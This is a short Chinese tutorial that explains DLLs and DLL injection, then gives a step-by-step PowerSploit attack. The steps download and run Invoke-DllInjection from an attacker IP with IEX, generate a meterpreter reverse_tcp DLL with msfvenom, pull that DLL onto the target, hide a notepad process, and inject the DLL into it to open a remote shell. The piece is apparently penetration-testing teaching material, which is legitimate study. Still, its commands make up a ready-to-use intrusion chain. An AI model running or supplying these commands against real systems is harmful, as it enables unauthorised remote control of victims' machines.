DLL(Dynamic Link Library 可由多个程序同时使用的代码和数据的库):库文件,提供给使用者一些开箱即用的变量、函数或类。库文件分为静态库和动态库,静态库和动态库的区别体现在程序的链接阶段:静态库在程序的链接阶段被复制到了程序中;动态库在链接阶段没有被复制到程序中,而是程序在运行时由系统动态加载到内存*程序调用。使用动态库系统只需载入一次,不同的程序可以得到内存中相同的动态库的副本,因此节省了很多内存,而且使用动态库也便于模块化更新程序。
静态链接库与动态链接库都是共享代码的方式,如果采用静态链接库,库中的指令都被直接包含在最终生成的可执行文件中了。但是若使用动态链接库,该库文件则不必被包含在最终可执行文件中,可执行文件执行时可以“动态”地引用和卸载这个与可执行文件独立的库文件。一般来说,Windows的静态库文件扩展名是 .lib,动态库文件扩展名是 .dll (Dynamic-Link Libraries),Linux的静态库扩展名是 .a,动态库扩展名是 .so (Shared Object).
Invoke-DLLInjection
Code Execution 模块下的脚本 Invoke-DLLInjection,是一个DLL注入脚本
DLL注入是指向运行中的其他进程强制插入特定的DLL文件。其工作原理是从外部促使目标进程调用LoadLibrary() API从而强制执行DLL的DllMain()函数,而且被注入的DLL拥有目标进程内存的访问权限,用户可以随意操作。与一般的DLL加载的区别在于,DLL注入加载的目标进程是其自身或其他进程。
1.先下载脚本,加载到内存
IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.130/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
2.在kali服务器中生成一个 DLL注入脚本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=4444 -f dll -o /var/www/html/test.dll
3.将生成的 test.dll 下载到目标服务器的C盘,使用命令 system.net.client
(New-Object System.Net.WebClient).DownloadFile("http://192.168.110.130/test.dll","c:\win-test\test.dll")
4.创建一个新的进程进行 DLL 注入,使注入更加隐蔽
start-process c:\windows\system32\notepad.exe -WindowStyle Hidden
5. 注入,记得需要先查询进程id
Invoke-DllInjection -processID 1540 -dll c:\win-test\test.dll